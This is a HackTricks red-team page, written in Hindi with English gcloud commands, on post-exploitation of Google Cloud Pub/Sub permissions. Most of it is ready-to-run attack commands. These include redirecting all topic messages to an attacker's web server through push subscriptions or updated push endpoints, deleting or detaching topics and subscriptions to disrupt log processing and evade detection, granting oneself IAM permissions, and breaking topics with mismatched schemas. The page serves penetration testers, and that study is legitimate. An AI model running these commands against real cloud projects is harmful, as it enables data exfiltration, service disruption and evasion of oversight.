GCP - Pub/Sub Post Exploitation

AWS Hacking सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks को समर्थन दें

Pub/Sub

Pub/Sub के बारे में अधिक जानकारी के लिए निम्नलिखित पेज देखें:

GCP - Pub/Sub Enum

pubsub.topics.publish

किसी टॉपिक में संदेश प्रकाशित करें, अप्रत्याशित डेटा भेजने और अप्रत्याशित कार्यक्षमताओं को ट्रिगर करने या कमजोरियों का शोषण करने के लिए उपयोगी:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

संदेश प्राप्त करने से सदस्यता को रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए।

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

संदेश प्राप्त करने से रोकने के लिए उपयोगी, शायद पहचान से बचने के लिए। यह संभव है कि एक टॉपिक को हटाया जा सके, भले ही उसमें सब्सक्रिप्शन जुड़े हों।

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

इस अनुमति का उपयोग टॉपिक की कुछ सेटिंग्स को अपडेट करने के लिए करें ताकि इसे बाधित किया जा सके, जैसे --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

पिछले किसी भी हमले को करने की अनुमति खुद को दें।

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

सभी संदेशों को एक वेब सर्वर में प्राप्त करें:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

एक subscription बनाएँ और इसका उपयोग messages pull करने के लिए करें:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

सब्सक्रिप्शन हटाएं लॉग प्रोसेसिंग सिस्टम या कुछ इसी तरह को बाधित करने के लिए उपयोगी हो सकता है:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

इस अनुमति का उपयोग कुछ सेटिंग को अपडेट करने के लिए करें ताकि संदेशों को ऐसी जगह पर संग्रहीत किया जा सके जहां आप पहुंच सकते हैं (URL, Big Query table, Bucket) या बस इसे बाधित करने के लिए।

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

अपने आप को किसी भी पहले से टिप्पणी किए गए हमलों को करने के लिए आवश्यक अनुमतियाँ दें।

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

एक schema को एक topic से जोड़ें ताकि संदेश उसे पूरा न करें और इसलिए topic बाधित हो जाए। यदि कोई schema नहीं हैं तो आपको एक बनाना पड़ सकता है।

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

यह ऐसा लग सकता है कि एक schema को delete करने से आप ऐसे messages भेज पाएंगे जो schema को पूरा नहीं करते। हालांकि, जैसे ही schema delete हो जाएगा, कोई भी message वास्तव में topic के अंदर नहीं जाएगा। इसलिए यह बेकार है:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

अपने आप को पहले से बताए गए किसी भी हमले को करने के लिए आवश्यक अनुमतियाँ दें।

pubsub.snapshots.create, pubsub.snapshots.seek

यह सभी unACKed संदेशों का एक snapshot बनाएगा और उन्हें subscription में वापस डाल देगा। हमलावर के लिए बहुत उपयोगी नहीं है लेकिन यहाँ है:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME

AWS Hacking सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks को समर्थन दें

Last updated